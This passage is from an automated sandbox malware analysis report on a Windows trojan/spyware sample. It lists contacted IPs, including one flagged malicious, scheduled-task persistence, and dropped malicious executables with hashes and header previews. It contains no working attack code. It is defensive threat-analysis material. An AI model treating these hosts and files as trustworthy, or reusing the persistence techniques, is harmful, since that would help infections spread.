http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
https://get.adob	12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id18Response	12F1.exe, 00000009.00000002.974724568.0000000003231000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.959540054.00000000028C1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://service.real.com/realplayer/security/02062012_player/en/	12F1.exe, 00000009.00000002.976286050.000000000343B000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.975344152.0000000003377000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.978818128.00000000036FD000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.979265997.0000000003773000.00000004.00000001.sdmp, 12F1.exe, 00000009.00000002.977234985.00000000034FD000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.973928794.0000000002C95000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.964360486.0000000002A71000.00000004.00000001.sdmp	false		high
https://cdn.discordapp.com4hl	1EAA.exe, 00000014.00000002.973376571.0000000002C1F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	12F1.exe, 00000009.00000002.975058199.00000000032C6000.00000004.00000001.sdmp, 1EAA.exe, 00000014.00000002.961266792.0000000002954000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
92.255.76.197	unknown	Russian Federation	49345	CONTINENTAL_GROUP-ASRU	false
162.159.130.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
95.213.165.249	host-data-coin-11.com	Russian Federation	49505	SELECTELRU	false
45.9.20.149	unknown	Russian Federation	35913	DEDIPATH-LLCUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	531707
Start date:	01.12.2021
Start time:	09:12:11
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	v72n86vFFq.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@37/34@66/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 43.4% (good quality ratio 25.6%) Quality average: 40.6% Quality standard deviation: 38.9%
HCA Information:	Successful, ratio: 93% Number of executed functions: 342 Number of non-executed functions: 86
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WerFault.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.203.70.208, 40.127.240.158, 104.208.16.94, 20.54.110.249, 52.182.143.212 Excluded domains from analysis (whitelisted): displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, store-images.s-microsoft.com-c.edgekey.net, settings-win.data.microsoft.com, arc.msn.com, settingsfd-geo.trafficmanager.net, e11290.dspg.akamaiedge.net, e12564.dspb.akamaiedge.net, go.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, onedsblobprdcus15.centralus.cloudapp.azure.com, store-images.s-microsoft.com, go.microsoft.com.edgekey.net, blobcollector.events.data.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net, onedsblobprdcus16.centralus.cloudapp.azure.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:13:54	Task Scheduler	Run new task: Firefox Default Browser Agent 9B65F8BFAD36B8C4 path: C:\Users\user\AppData\Roaming\hiftsuu
09:14:17	API Interceptor	1x Sleep call for process: 44A2.exe modified
09:14:50	API Interceptor	1x Sleep call for process: WerFault.exe modified
09:15:29	Task Scheduler	Run new task: tkools.exe path: C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_361B.exe_8ef6c44223352ed135f6b63558ea136140d6fc2c_f485856f_1ada34a1\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8203105875143651
Encrypted:	false
SSDEEP:	96:wORFQ+hQ2HLvBSwOQoH7R3V6tpXIQcQAc6ccEqcw3dOm+HbHg/8BRTf3o8Fa9iVj:36uQIb68HOYQcjJ5/u7sJS274ItLD
MD5:	3A08F56FDA4B00D25EFDF40A002BDBA5
SHA1:	5C164763F1BF624D0C884020E7F3D6D968E04801
SHA-256:	F329E9E4E622FA88A9132A23E2B163E7B2AFF9263AA5F3DD7543BF2B38C99CD4
SHA-512:	67EB18BEC746DB36CFEB77B00CAEC1F575F0D7B7ED18F4F25E74B41CE6C045B84101839AD3427DBFB52AC87E5FC64F86859236A2A1355FDDE9126B0137688732
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.2.8.2.0.0.5.9.1.4.8.8.4.9.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.2.8.2.0.0.8.8.0.0.8.0.9.3.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.1.7.1.3.a.2.a.-.1.e.0.8.-.4.4.5.9.-.8.2.f.9.-.9.4.6.a.1.c.e.c.e.a.3.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.1.d.2.9.e.2.5.-.d.2.3.f.-.4.9.9.f.-.a.e.3.4.-.5.1.9.d.3.e.4.6.6.d.7.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.3.6.1.B...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.d.4.-.0.0.0.1.-.0.0.1.b.-.5.5.c.f.-.d.6.6.8.8.b.e.6.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.c.1.4.b.f.1.a.9.e.b.5.7.0.7.6.f.d.6.b.a.2.d.3.4.3.4.f.4.9.e.2.0.0.0.0.2.4.0.1.!.0.0.0.0.b.2.1.8.7.d.e.b.c.6.f.d.e.9.6.e.0.8.d.5.0.1.4.c.e.4.f.1.a.f.5.c.f.5.6.8.b.c.e.5.!.3.6.1.B...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER45FC.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Dec 1 08:14:25 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	35056
Entropy (8bit):	2.061410195700154
Encrypted:	false
SSDEEP:	192:uJk1TOY4fOepbDaQpwSKm7CfZ/XA3M1XDOCTSuf5DC:OO7eqneYOCJC
MD5:	9038319473942DCD711778A10626FC50
SHA1:	5F33601FF0509EE93FB7C46B281FADF707C528B0
SHA-256:	A5FA12BF838B7560B25DAD524CEF4E215AF1398D294351CB8C5479660449860F
SHA-512:	F683A39A83BB677E4E326AE5FA0C18F9B14BC6861003F695EDD0C761A392297E551FC7C13CA7C5C72B46EE8406F227870CE81AFD79240124D2993DB20B7D0AC9
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... ..........a.........................................&..........T.......8...........T...............@t...........................................................................................U...........B......8.......GenuineIntelW...........T..............a.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6349.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8412
Entropy (8bit):	3.7024230834336134
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiMq6nh4H6YrJSUigmfpRS8+pD+89b5hsfbVzm:RrlsNip6e6YVSUigmfpRSv5afI
MD5:	7205FC26FDCA75BC92BF3BA091955572
SHA1:	67C5B807CB80956C6F03CD41F0EE58D6C0D215F2
SHA-256:	8C627E610338E4252D18FDC59E23E1BCA7297BB75755B5CF71BF9956F30ADA68
SHA-512:	1C93DBC0A3655579F9267F6A5FE2E7D3B7AC6E2A36E6C0ACEDF55DE6E314402928F97EF5C74630F300233320EDFB9FDF76818D22FA9B8C94F61BDBEC11A020DB
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.1.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6FFC.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.480084479382914
Encrypted:	false
SSDEEP:	48:cvIwSD8zsGJgtWI91JWSC8Bho8fm8M4Jh8sFu+q8vu8w5M+b2d:uITfca4SNnFJaK43b2d
MD5:	33E08F34DAAE61B397638152C397B679
SHA1:	65FB8177893255C4570FC23D9E014862220B8B06
SHA-256:	28CE57EFBD3827BFCCE58FE71A64986BB344470D94932BA47FC8F1F5E0617D1E
SHA-512:	C732B79439EFDF62F84FD82AA73D03DD384172C456F9C91D591994EA7FEB51BBCA86EFB126AD4F18EEF3BE2F6C96E903E7D7FF98B87720973DA51BE7A09BB6C1
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1278325" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\44A2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1EAA.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\1EAA.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\2340.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\2340.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	5.359562127686337
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhuE4KaE4q0E4KiZhnRAE4Kzr7r1qE4UE4Ks:MxHKXwYHKhQnouHKaHxHKipAHKzvr1qq
MD5:	26BF5ED58FB6D9EEDD639F036FC882FE
SHA1:	21C3BFFF881964A836C3489507EAF36CD4BA652D
SHA-256:	2998ED6B8D1EB85DE8BEE772CEF62D57ED40224EECFE4349C3275F0C7AA96542
SHA-512:	F7B54F1EFC414567AD547823B8A178F562309507F91FF54EE3FDABF4D5AC8B3E9450E2A261D3CD6A34430E2ADF1D3354A82EA1E58A7362A207EA659304B80428
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Xml.Linq, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\f54e3a73bfefb71eb6e1de09129af7f0\System.Xml.Linq.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\44A2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Temp\12F1.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1285856
Entropy (8bit):	7.290553475161652
Encrypted:	false
SSDEEP:	24576:wAvkNkBobrsLgjMTarTbEzqFyyLGPaz8sMRK7wD9x3TOs7:n80iTjMTaf7iPaWRiwDf3TX
MD5:	31F17AD58D02772DF14EFAC37D416CD7
SHA1:	BC8EA09D50B5B794AF6C741B0C2D39C637831913
SHA-256:	21F7623006B248709A14CBFC507187FD44A8ADA2D0DD465FAA79317ECE02DC78
SHA-512:	7B3E94C7D808CF779704D33893D7B8EE9F56E445BE554B18A1F7476016AB68D2463F78A1278B1DAA6F8D4DD26535E1A50DA8A33412428E977D0659B8388B56DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 26%, Browse Antivirus: ReversingLabs, Detection: 57%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.( =.&../..`.O....O[.E..vi\|.DC..[A...........Q..............................................................................................................................................................................................PE..L....x................0......r........... ...@....@.................................\.....@..................................P.......`..Xo...................................................................................................................@.............................`.............P......................@....rsrc...Xo...`..Xo..................@..@.........@.......(...v..............@.....................................................................................................................................................................................................................................................................................................................+.........../.\.;3)x)n...s.

C:\Users\user\AppData\Local\Temp\1EAA.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	397824
Entropy (8bit):	3.7269481746723154
Encrypted:	false
SSDEEP:	12288:aE8ijGrr1Lj3crjEn2dLkbi2dX4Q4qQO8:UiT3
MD5:	5115E5DAB211559A85CD0154E8100F53
SHA1:	347800B72AC53EC6E2C87E433763B20282A2C06D
SHA-256:	EF156FB3A203FE197D89D63E2EA7805A1B9AF505DFFF5A58532DBFE34E7AABAA
SHA-512:	D03E58376BE1E299A6DA57A28ED5DB176999BADED713AA54DDB59CF8C82B97E8C0B028CE07BDDB6989C7C77E518E151E112DDE2F1D5244AC2572E4371FA68C12
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 79%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...(.q...............0..............(... ...@....@.. ....................................@..................................(..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H......../..\............................................................0..........~....u....s....z&......................2(.... ....j....r...p(.....s....%.}..........s....o....9....s....z....(.........2.s....(.......v.(......r...p~....o....(........{.....0..i........:....~........(......~....:$.........(.........(....(....(.........~....{....~.....o....(....o....}........0...........o......o....(.....(.....o.....6..(....(....*...0..E.......~.....s.......8"........

C:\Users\user\AppData\Local\Temp\2340.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	1143000
Entropy (8bit):	7.2472305489572335
Encrypted:	false
SSDEEP:	12288:N6e6+O/RK8MmtDX5f11XNbW/kjvULGaPBUcXTE/RFia0/1AtBVEOi2vU86N1A:kHc8L59HbViGaJUck1iAtBVEN2vX6zA
MD5:	97617914D6E8A6E3CBEE8A5E5FF39AA5
SHA1:	CAF7FEF0EFD3DBCF176C7CFC85CC545DD0DC9EFD
SHA-256:	7C1C287F9CE0D8D90C95851781FF2732780177F6C1AFFECC9EED376436981112
SHA-512:	F4C79F9E41124044AA1D0A44E86D0A184BEDA33163D7B0973DC23B4FF5087C708175BD89F73FFC2C160A66BF23F09835C422B654353DC67CB59EA053CF60EABB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 27%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p.i...............0..`...........~... ........@.. ...............................5....@.................................P~..K....................h............................................................... ............... ..H............text....^... ...`.................. ..`.rsrc................b..............@....reloc...............f..............@..B.................~......H............_...........w......}......................................B(....~S...(........0.............B(....~S...(..............B(....~S...(......................0..............0..............0.............B(....~S...(.............................0.............B(....~S...(...............0..............0..............0..............0.............B(....~S...(........0..............0.............B(....~S...(........0..............0.............*.0..

C:\Users\user\AppData\Local\Temp\26XBS2DT Download File
Process:	C:\Users\user\AppData\Local\Temp\44A2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	118784
Entropy (8bit):	0.45897271081743474
Encrypted:	false
SSDEEP:	96:/8WU+bDoYysX0uhnydVjN9DLjGQLBE3u:El+bDo3irhnydVj3XBBE3u
MD5:	48A0503A55113CE8C8D7A1481A465D49
SHA1:	6212FF680FA492983973EEF5341BDD2AC5B28417
SHA-256:	E79639510991FEBA97C39F0388B53420765D307C46C43B0BD0C014FD36EF8092
SHA-512:	96A2FC52E2325A29F4B38A080DA817DA741A38BB8DBFD2A85349608251197D3D715A75639FB587216C5BAF8034A93F33E11DA7E35C70347BF584DAC94EF889CF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\305.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2740224
Entropy (8bit):	7.959483373293049
Encrypted:	false
SSDEEP:	49152:MChUuz9ubrD0rNoVNsLdq0MTq24FdizzlzKGg6W6SYjUN+dCo:vUuxGD0iVNsL9cqtdi8GE6hA+3
MD5:	CA16CA4AA9CF9777274447C9F4BA222E
SHA1:	1025ED93E5F44D51B96F1A788764CC4487EE477E
SHA-256:	0016755526279C5C404B670ECB2D81AF46066D879C389924A6574AB9864B5C04
SHA-512:	72D8D2A729B8CE2940235D3A317EE3EB0EB8D1411E847D6D11E36484F520BB88B3CABD03716B3C2988B0A053426BE14AACE154F13D306883788F952CD03CF712
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 43%, Browse Antivirus: ReversingLabs, Detection: 86%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........LC.y.C.y.C.y.W.z.H.y.W.\|..y.W.}.Q.y.W.~.B.y...}.R.y...z.V.y...\|.i.y.W.x.P.y.C.x..y...p.D.y....B.y...{.B.y.RichC.y.........................PE..L...w7.a.................@...........RF......P....@.......................... n......*...@......................................................................................................................................................... .>.......................... ..` .....P...P..................@..@ $....0......................@... .....P......................@..@ ."...`......................@..B.idata..............................@....rsrc...............................@..@.themida..A.........................`....boot.....'..PF...'.................`..`........................................................................................................................

C:\Users\user\AppData\Local\Temp\361B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163328
Entropy (8bit):	6.266388012405613
Encrypted:	false
SSDEEP:	3072:qkqeuZi3xqvmqEzkC34ygPsAXtITmUYasQ2:VXuk3EvmqEgS4jlLay
MD5:	DF13FAC0D8B182E4D8B9A02BA87A9571
SHA1:	B2187DEBC6FDE96E08D5014CE4F1AF5CF568BCE5
